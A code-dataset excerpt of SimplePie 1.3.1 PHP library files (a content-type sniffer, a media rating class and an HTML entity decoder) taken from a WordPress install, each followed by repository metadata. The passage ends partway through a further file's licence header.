<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Content-type sniffing * * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06 * * This is used since we can't always trust Content-Type headers, and is based * upon the HTML5 parsing rules. * * * This class can be overloaded with {@see SimplePie::set_content_type_sniffer_class()} * * @package SimplePie * @subpackage HTTP */ class SimplePie_Content_Type_Sniffer { /** * File object * * @var SimplePie_File */ var $file; /** * Create an instance of the class with the input file * * @param SimplePie_Content_Type_Sniffer $file Input file */ public function __construct($file) { $this->file = $file; } /** * Get the Content-Type of the specified file * * @return string Actual Content-Type */ public function get_type() { if (isset($this->file->headers['content-type'])) { if (!isset($this->file->headers['content-encoding']) && ($this->file->headers['content-type'] === 'text/plain' || $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1' || $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1' || $this->file->headers['content-type'] === 'text/plain; charset=UTF-8')) { return $this->text_or_binary(); } if (($pos = strpos($this->file->headers['content-type'], ';')) !== false) { $official = substr($this->file->headers['content-type'], 0, $pos); } else { $official = $this->file->headers['content-type']; } $official = trim(strtolower($official)); if ($official === 'unknown/unknown' || $official === 'application/unknown') { return $this->unknown(); } elseif (substr($official, -4) === '+xml' || $official === 'text/xml' || $official === 'application/xml') { return $official; } elseif (substr($official, 0, 6) === 'image/') { if ($return = $this->image()) { return $return; } else { return $official; } } elseif ($official === 'text/html') { return $this->feed_or_html(); } else { return $official; } } else { return $this->unknown(); } } /** * Sniff text or binary * * @return string Actual Content-Type */ public function text_or_binary() { if (substr($this->file->body, 0, 2) === "\xFE\xFF" || substr($this->file->body, 0, 2) === "\xFF\xFE" || substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF" || substr($this->file->body, 0, 3) === "\xEF\xBB\xBF") { return 'text/plain'; } elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body)) { return 'application/octect-stream'; } else { return 'text/plain'; } } /** * Sniff unknown * * @return string Actual Content-Type */ public function unknown() { $ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20"); if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html' || strtolower(substr($this->file->body, $ws, 5)) === '<html' || strtolower(substr($this->file->body, $ws, 7)) === '<script') { return 'text/html'; } elseif (substr($this->file->body, 0, 5) === '%PDF-') { return 'application/pdf'; } elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-') { return 'application/postscript'; } elseif (substr($this->file->body, 0, 6) === 'GIF87a' || substr($this->file->body, 0, 6) === 'GIF89a') { return 'image/gif'; } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { return 'image/png'; } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") { return 'image/jpeg'; } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") { return 'image/bmp'; } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") { return 'image/vnd.microsoft.icon'; } else { return $this->text_or_binary(); } } /** * Sniff images * * @return string Actual Content-Type */ public function image() { if (substr($this->file->body, 0, 6) === 'GIF87a' || substr($this->file->body, 0, 6) === 'GIF89a') { return 'image/gif'; } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { return 'image/png'; } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") { return 'image/jpeg'; } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") { return 'image/bmp'; } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") { return 'image/vnd.microsoft.icon'; } else { return false; } } /** * Sniff HTML * * @return string Actual Content-Type */ public function feed_or_html() { $len = strlen($this->file->body); $pos = strspn($this->file->body, "\x09\x0A\x0D\x20"); while ($pos < $len) { switch ($this->file->body[$pos]) { case "\x09": case "\x0A": case "\x0D": case "\x20": $pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos); continue 2; case '<': $pos++; break; default: return 'text/html'; } if (substr($this->file->body, $pos, 3) === '!--') { $pos += 3; if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false) { $pos += 3; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 1) === '!') { if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false) { $pos++; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 1) === '?') { if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false) { $pos += 2; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 3) === 'rss' || substr($this->file->body, $pos, 7) === 'rdf:RDF') { return 'application/rss+xml'; } elseif (substr($this->file->body, $pos, 4) === 'feed') { return 'application/atom+xml'; } else { return 'text/html'; } } return 'text/html'; } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Content/Type/Sniffer.php
PHP
asf20
8,137
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively * * Used by {@see SimplePie_Enclosure::get_rating()} and {@see SimplePie_Enclosure::get_ratings()} * * This class can be overloaded with {@see SimplePie::set_rating_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Rating { /** * Rating scheme * * @var string * @see get_scheme() */ var $scheme; /** * Rating value * * @var string * @see get_value() */ var $value; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($scheme = null, $value = null) { $this->scheme = $scheme; $this->value = $value; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the organizational scheme for the rating * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } else { return null; } } /** * Get the value of the rating * * @return string|null */ public function get_value() { if ($this->value !== null) { return $this->value; } else { return null; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Rating.php
PHP
asf20
3,451
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Decode HTML Entities * * This implements HTML5 as of revision 967 (2007-06-28) * * @deprecated Use DOMDocument instead! * @package SimplePie */ class SimplePie_Decode_HTML_Entities { /** * Data to be parsed * * @access private * @var string */ var $data = ''; /** * Currently consumed bytes * * @access private * @var string */ var $consumed = ''; /** * Position of the current byte being parsed * * @access private * @var int */ var $position = 0; /** * Create an instance of the class with the input data * * @access public * @param string $data Input data */ public function __construct($data) { $this->data = $data; } /** * Parse the input data * * @access public * @return string Output data */ public function parse() { while (($this->position = strpos($this->data, '&', $this->position)) !== false) { $this->consume(); $this->entity(); $this->consumed = ''; } return $this->data; } /** * Consume the next byte * * @access private * @return mixed The next byte, or false, if there is no more data */ public function consume() { if (isset($this->data[$this->position])) { $this->consumed .= $this->data[$this->position]; return $this->data[$this->position++]; } else { return false; } } /** * Consume a range of characters * * @access private * @param string $chars Characters to consume * @return mixed A series of characters that match the range, or false */ public function consume_range($chars) { if ($len = strspn($this->data, $chars, $this->position)) { $data = substr($this->data, $this->position, $len); $this->consumed .= $data; $this->position += $len; return $data; } else { return false; } } /** * Unconsume one byte * * @access private */ public function unconsume() { $this->consumed = substr($this->consumed, 0, -1); $this->position--; } /** * Decode an entity * * @access private */ public function entity() { switch ($this->consume()) { case "\x09": case "\x0A": case "\x0B": case "\x0B": case "\x0C": case "\x20": case "\x3C": case "\x26": case false: break; case "\x23": switch ($this->consume()) { case "\x78": case "\x58": $range = '0123456789ABCDEFabcdef'; $hex = true; break; default: $range = '0123456789'; $hex = false; $this->unconsume(); break; } if ($codepoint = $this->consume_range($range)) { static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"); if ($hex) { $codepoint = hexdec($codepoint); } else { $codepoint = intval($codepoint); } if (isset($windows_1252_specials[$codepoint])) { $replacement = $windows_1252_specials[$codepoint]; } else { $replacement = SimplePie_Misc::codepoint_to_utf8($codepoint); } if (!in_array($this->consume(), array(';', false), true)) { $this->unconsume(); } $consumed_length = strlen($this->consumed); $this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length); $this->position += strlen($replacement) - $consumed_length; } break; default: static $entities = array( 'Aacute' => "\xC3\x81", 'aacute' => "\xC3\xA1", 'Aacute;' => "\xC3\x81", 'aacute;' => "\xC3\xA1", 'Acirc' => "\xC3\x82", 'acirc' => "\xC3\xA2", 'Acirc;' => "\xC3\x82", 'acirc;' => "\xC3\xA2", 'acute' => "\xC2\xB4", 'acute;' => "\xC2\xB4", 'AElig' => "\xC3\x86", 'aelig' => "\xC3\xA6", 'AElig;' => "\xC3\x86", 'aelig;' => "\xC3\xA6", 'Agrave' => "\xC3\x80", 'agrave' => "\xC3\xA0", 'Agrave;' => "\xC3\x80", 'agrave;' => "\xC3\xA0", 'alefsym;' => "\xE2\x84\xB5", 'Alpha;' => "\xCE\x91", 'alpha;' => "\xCE\xB1", 'AMP' => "\x26", 'amp' => "\x26", 'AMP;' => "\x26", 'amp;' => "\x26", 'and;' => "\xE2\x88\xA7", 'ang;' => "\xE2\x88\xA0", 'apos;' => "\x27", 'Aring' => "\xC3\x85", 'aring' => "\xC3\xA5", 'Aring;' => "\xC3\x85", 'aring;' => "\xC3\xA5", 'asymp;' => "\xE2\x89\x88", 'Atilde' => "\xC3\x83", 'atilde' => "\xC3\xA3", 'Atilde;' => "\xC3\x83", 'atilde;' => "\xC3\xA3", 'Auml' => "\xC3\x84", 'auml' => "\xC3\xA4", 'Auml;' => "\xC3\x84", 'auml;' => "\xC3\xA4", 'bdquo;' => "\xE2\x80\x9E", 'Beta;' => "\xCE\x92", 'beta;' => "\xCE\xB2", 'brvbar' => "\xC2\xA6", 'brvbar;' => "\xC2\xA6", 'bull;' => "\xE2\x80\xA2", 'cap;' => "\xE2\x88\xA9", 'Ccedil' => "\xC3\x87", 'ccedil' => "\xC3\xA7", 'Ccedil;' => "\xC3\x87", 'ccedil;' => "\xC3\xA7", 'cedil' => "\xC2\xB8", 'cedil;' => "\xC2\xB8", 'cent' => "\xC2\xA2", 'cent;' => "\xC2\xA2", 'Chi;' => "\xCE\xA7", 'chi;' => "\xCF\x87", 'circ;' => "\xCB\x86", 'clubs;' => "\xE2\x99\xA3", 'cong;' => "\xE2\x89\x85", 'COPY' => "\xC2\xA9", 'copy' => "\xC2\xA9", 'COPY;' => "\xC2\xA9", 'copy;' => "\xC2\xA9", 'crarr;' => "\xE2\x86\xB5", 'cup;' => "\xE2\x88\xAA", 'curren' => "\xC2\xA4", 'curren;' => "\xC2\xA4", 'Dagger;' => "\xE2\x80\xA1", 'dagger;' => "\xE2\x80\xA0", 'dArr;' => "\xE2\x87\x93", 'darr;' => "\xE2\x86\x93", 'deg' => "\xC2\xB0", 'deg;' => "\xC2\xB0", 'Delta;' => "\xCE\x94", 'delta;' => "\xCE\xB4", 'diams;' => "\xE2\x99\xA6", 'divide' => "\xC3\xB7", 'divide;' => "\xC3\xB7", 'Eacute' => "\xC3\x89", 'eacute' => "\xC3\xA9", 'Eacute;' => "\xC3\x89", 'eacute;' => "\xC3\xA9", 'Ecirc' => "\xC3\x8A", 'ecirc' => "\xC3\xAA", 'Ecirc;' => "\xC3\x8A", 'ecirc;' => "\xC3\xAA", 'Egrave' => "\xC3\x88", 'egrave' => "\xC3\xA8", 'Egrave;' => "\xC3\x88", 'egrave;' => "\xC3\xA8", 'empty;' => "\xE2\x88\x85", 'emsp;' => "\xE2\x80\x83", 'ensp;' => "\xE2\x80\x82", 'Epsilon;' => "\xCE\x95", 'epsilon;' => "\xCE\xB5", 'equiv;' => "\xE2\x89\xA1", 'Eta;' => "\xCE\x97", 'eta;' => "\xCE\xB7", 'ETH' => "\xC3\x90", 'eth' => "\xC3\xB0", 'ETH;' => "\xC3\x90", 'eth;' => "\xC3\xB0", 'Euml' => "\xC3\x8B", 'euml' => "\xC3\xAB", 'Euml;' => "\xC3\x8B", 'euml;' => "\xC3\xAB", 'euro;' => "\xE2\x82\xAC", 'exist;' => "\xE2\x88\x83", 'fnof;' => "\xC6\x92", 'forall;' => "\xE2\x88\x80", 'frac12' => "\xC2\xBD", 'frac12;' => "\xC2\xBD", 'frac14' => "\xC2\xBC", 'frac14;' => "\xC2\xBC", 'frac34' => "\xC2\xBE", 'frac34;' => "\xC2\xBE", 'frasl;' => "\xE2\x81\x84", 'Gamma;' => "\xCE\x93", 'gamma;' => "\xCE\xB3", 'ge;' => "\xE2\x89\xA5", 'GT' => "\x3E", 'gt' => "\x3E", 'GT;' => "\x3E", 'gt;' => "\x3E", 'hArr;' => "\xE2\x87\x94", 'harr;' => "\xE2\x86\x94", 'hearts;' => "\xE2\x99\xA5", 'hellip;' => "\xE2\x80\xA6", 'Iacute' => "\xC3\x8D", 'iacute' => "\xC3\xAD", 'Iacute;' => "\xC3\x8D", 'iacute;' => "\xC3\xAD", 'Icirc' => "\xC3\x8E", 'icirc' => "\xC3\xAE", 'Icirc;' => "\xC3\x8E", 'icirc;' => "\xC3\xAE", 'iexcl' => "\xC2\xA1", 'iexcl;' => "\xC2\xA1", 'Igrave' => "\xC3\x8C", 'igrave' => "\xC3\xAC", 'Igrave;' => "\xC3\x8C", 'igrave;' => "\xC3\xAC", 'image;' => "\xE2\x84\x91", 'infin;' => "\xE2\x88\x9E", 'int;' => "\xE2\x88\xAB", 'Iota;' => "\xCE\x99", 'iota;' => "\xCE\xB9", 'iquest' => "\xC2\xBF", 'iquest;' => "\xC2\xBF", 'isin;' => "\xE2\x88\x88", 'Iuml' => "\xC3\x8F", 'iuml' => "\xC3\xAF", 'Iuml;' => "\xC3\x8F", 'iuml;' => "\xC3\xAF", 'Kappa;' => "\xCE\x9A", 'kappa;' => "\xCE\xBA", 'Lambda;' => "\xCE\x9B", 'lambda;' => "\xCE\xBB", 'lang;' => "\xE3\x80\x88", 'laquo' => "\xC2\xAB", 'laquo;' => "\xC2\xAB", 'lArr;' => "\xE2\x87\x90", 'larr;' => "\xE2\x86\x90", 'lceil;' => "\xE2\x8C\x88", 'ldquo;' => "\xE2\x80\x9C", 'le;' => "\xE2\x89\xA4", 'lfloor;' => "\xE2\x8C\x8A", 'lowast;' => "\xE2\x88\x97", 'loz;' => "\xE2\x97\x8A", 'lrm;' => "\xE2\x80\x8E", 'lsaquo;' => "\xE2\x80\xB9", 'lsquo;' => "\xE2\x80\x98", 'LT' => "\x3C", 'lt' => "\x3C", 'LT;' => "\x3C", 'lt;' => "\x3C", 'macr' => "\xC2\xAF", 'macr;' => "\xC2\xAF", 'mdash;' => "\xE2\x80\x94", 'micro' => "\xC2\xB5", 'micro;' => "\xC2\xB5", 'middot' => "\xC2\xB7", 'middot;' => "\xC2\xB7", 'minus;' => "\xE2\x88\x92", 'Mu;' => "\xCE\x9C", 'mu;' => "\xCE\xBC", 'nabla;' => "\xE2\x88\x87", 'nbsp' => "\xC2\xA0", 'nbsp;' => "\xC2\xA0", 'ndash;' => "\xE2\x80\x93", 'ne;' => "\xE2\x89\xA0", 'ni;' => "\xE2\x88\x8B", 'not' => "\xC2\xAC", 'not;' => "\xC2\xAC", 'notin;' => "\xE2\x88\x89", 'nsub;' => "\xE2\x8A\x84", 'Ntilde' => "\xC3\x91", 'ntilde' => "\xC3\xB1", 'Ntilde;' => "\xC3\x91", 'ntilde;' => "\xC3\xB1", 'Nu;' => "\xCE\x9D", 'nu;' => "\xCE\xBD", 'Oacute' => "\xC3\x93", 'oacute' => "\xC3\xB3", 'Oacute;' => "\xC3\x93", 'oacute;' => "\xC3\xB3", 'Ocirc' => "\xC3\x94", 'ocirc' => "\xC3\xB4", 'Ocirc;' => "\xC3\x94", 'ocirc;' => "\xC3\xB4", 'OElig;' => "\xC5\x92", 'oelig;' => "\xC5\x93", 'Ograve' => "\xC3\x92", 'ograve' => "\xC3\xB2", 'Ograve;' => "\xC3\x92", 'ograve;' => "\xC3\xB2", 'oline;' => "\xE2\x80\xBE", 'Omega;' => "\xCE\xA9", 'omega;' => "\xCF\x89", 'Omicron;' => "\xCE\x9F", 'omicron;' => "\xCE\xBF", 'oplus;' => "\xE2\x8A\x95", 'or;' => "\xE2\x88\xA8", 'ordf' => "\xC2\xAA", 'ordf;' => "\xC2\xAA", 'ordm' => "\xC2\xBA", 'ordm;' => "\xC2\xBA", 'Oslash' => "\xC3\x98", 'oslash' => "\xC3\xB8", 'Oslash;' => "\xC3\x98", 'oslash;' => "\xC3\xB8", 'Otilde' => "\xC3\x95", 'otilde' => "\xC3\xB5", 'Otilde;' => "\xC3\x95", 'otilde;' => "\xC3\xB5", 'otimes;' => "\xE2\x8A\x97", 'Ouml' => "\xC3\x96", 'ouml' => "\xC3\xB6", 'Ouml;' => "\xC3\x96", 'ouml;' => "\xC3\xB6", 'para' => "\xC2\xB6", 'para;' => "\xC2\xB6", 'part;' => "\xE2\x88\x82", 'permil;' => "\xE2\x80\xB0", 'perp;' => "\xE2\x8A\xA5", 'Phi;' => "\xCE\xA6", 'phi;' => "\xCF\x86", 'Pi;' => "\xCE\xA0", 'pi;' => "\xCF\x80", 'piv;' => "\xCF\x96", 'plusmn' => "\xC2\xB1", 'plusmn;' => "\xC2\xB1", 'pound' => "\xC2\xA3", 'pound;' => "\xC2\xA3", 'Prime;' => "\xE2\x80\xB3", 'prime;' => "\xE2\x80\xB2", 'prod;' => "\xE2\x88\x8F", 'prop;' => "\xE2\x88\x9D", 'Psi;' => "\xCE\xA8", 'psi;' => "\xCF\x88", 'QUOT' => "\x22", 'quot' => "\x22", 'QUOT;' => "\x22", 'quot;' => "\x22", 'radic;' => "\xE2\x88\x9A", 'rang;' => "\xE3\x80\x89", 'raquo' => "\xC2\xBB", 'raquo;' => "\xC2\xBB", 'rArr;' => "\xE2\x87\x92", 'rarr;' => "\xE2\x86\x92", 'rceil;' => "\xE2\x8C\x89", 'rdquo;' => "\xE2\x80\x9D", 'real;' => "\xE2\x84\x9C", 'REG' => "\xC2\xAE", 'reg' => "\xC2\xAE", 'REG;' => "\xC2\xAE", 'reg;' => "\xC2\xAE", 'rfloor;' => "\xE2\x8C\x8B", 'Rho;' => "\xCE\xA1", 'rho;' => "\xCF\x81", 'rlm;' => "\xE2\x80\x8F", 'rsaquo;' => "\xE2\x80\xBA", 'rsquo;' => "\xE2\x80\x99", 'sbquo;' => "\xE2\x80\x9A", 'Scaron;' => "\xC5\xA0", 'scaron;' => "\xC5\xA1", 'sdot;' => "\xE2\x8B\x85", 'sect' => "\xC2\xA7", 'sect;' => "\xC2\xA7", 'shy' => "\xC2\xAD", 'shy;' => "\xC2\xAD", 'Sigma;' => "\xCE\xA3", 'sigma;' => "\xCF\x83", 'sigmaf;' => "\xCF\x82", 'sim;' => "\xE2\x88\xBC", 'spades;' => "\xE2\x99\xA0", 'sub;' => "\xE2\x8A\x82", 'sube;' => "\xE2\x8A\x86", 'sum;' => "\xE2\x88\x91", 'sup;' => "\xE2\x8A\x83", 'sup1' => "\xC2\xB9", 'sup1;' => "\xC2\xB9", 'sup2' => "\xC2\xB2", 'sup2;' => "\xC2\xB2", 'sup3' => "\xC2\xB3", 'sup3;' => "\xC2\xB3", 'supe;' => "\xE2\x8A\x87", 'szlig' => "\xC3\x9F", 'szlig;' => "\xC3\x9F", 'Tau;' => "\xCE\xA4", 'tau;' => "\xCF\x84", 'there4;' => "\xE2\x88\xB4", 'Theta;' => "\xCE\x98", 'theta;' => "\xCE\xB8", 'thetasym;' => "\xCF\x91", 'thinsp;' => "\xE2\x80\x89", 'THORN' => "\xC3\x9E", 'thorn' => "\xC3\xBE", 'THORN;' => "\xC3\x9E", 'thorn;' => "\xC3\xBE", 'tilde;' => "\xCB\x9C", 'times' => "\xC3\x97", 'times;' => "\xC3\x97", 'TRADE;' => "\xE2\x84\xA2", 'trade;' => "\xE2\x84\xA2", 'Uacute' => "\xC3\x9A", 'uacute' => "\xC3\xBA", 'Uacute;' => "\xC3\x9A", 'uacute;' => "\xC3\xBA", 'uArr;' => "\xE2\x87\x91", 'uarr;' => "\xE2\x86\x91", 'Ucirc' => "\xC3\x9B", 'ucirc' => "\xC3\xBB", 'Ucirc;' => "\xC3\x9B", 'ucirc;' => "\xC3\xBB", 'Ugrave' => "\xC3\x99", 'ugrave' => "\xC3\xB9", 'Ugrave;' => "\xC3\x99", 'ugrave;' => "\xC3\xB9", 'uml' => "\xC2\xA8", 'uml;' => "\xC2\xA8", 'upsih;' => "\xCF\x92", 'Upsilon;' => "\xCE\xA5", 'upsilon;' => "\xCF\x85", 'Uuml' => "\xC3\x9C", 'uuml' => "\xC3\xBC", 'Uuml;' => "\xC3\x9C", 'uuml;' => "\xC3\xBC", 'weierp;' => "\xE2\x84\x98", 'Xi;' => "\xCE\x9E", 'xi;' => "\xCE\xBE", 'Yacute' => "\xC3\x9D", 'yacute' => "\xC3\xBD", 'Yacute;' => "\xC3\x9D", 'yacute;' => "\xC3\xBD", 'yen' => "\xC2\xA5", 'yen;' => "\xC2\xA5", 'yuml' => "\xC3\xBF", 'Yuml;' => "\xC5\xB8", 'yuml;' => "\xC3\xBF", 'Zeta;' => "\xCE\x96", 'zeta;' => "\xCE\xB6", 'zwj;' => "\xE2\x80\x8D", 'zwnj;' => "\xE2\x80\x8C" ); for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) { $consumed = substr($this->consumed, 1); if (isset($entities[$consumed])) { $match = $consumed; } } if ($match !== null) { $this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1); $this->position += strlen($entities[$match]) - strlen($consumed) - 1; } break; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Decode/HTML/Entities.php
PHP
asf20
17,321
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF 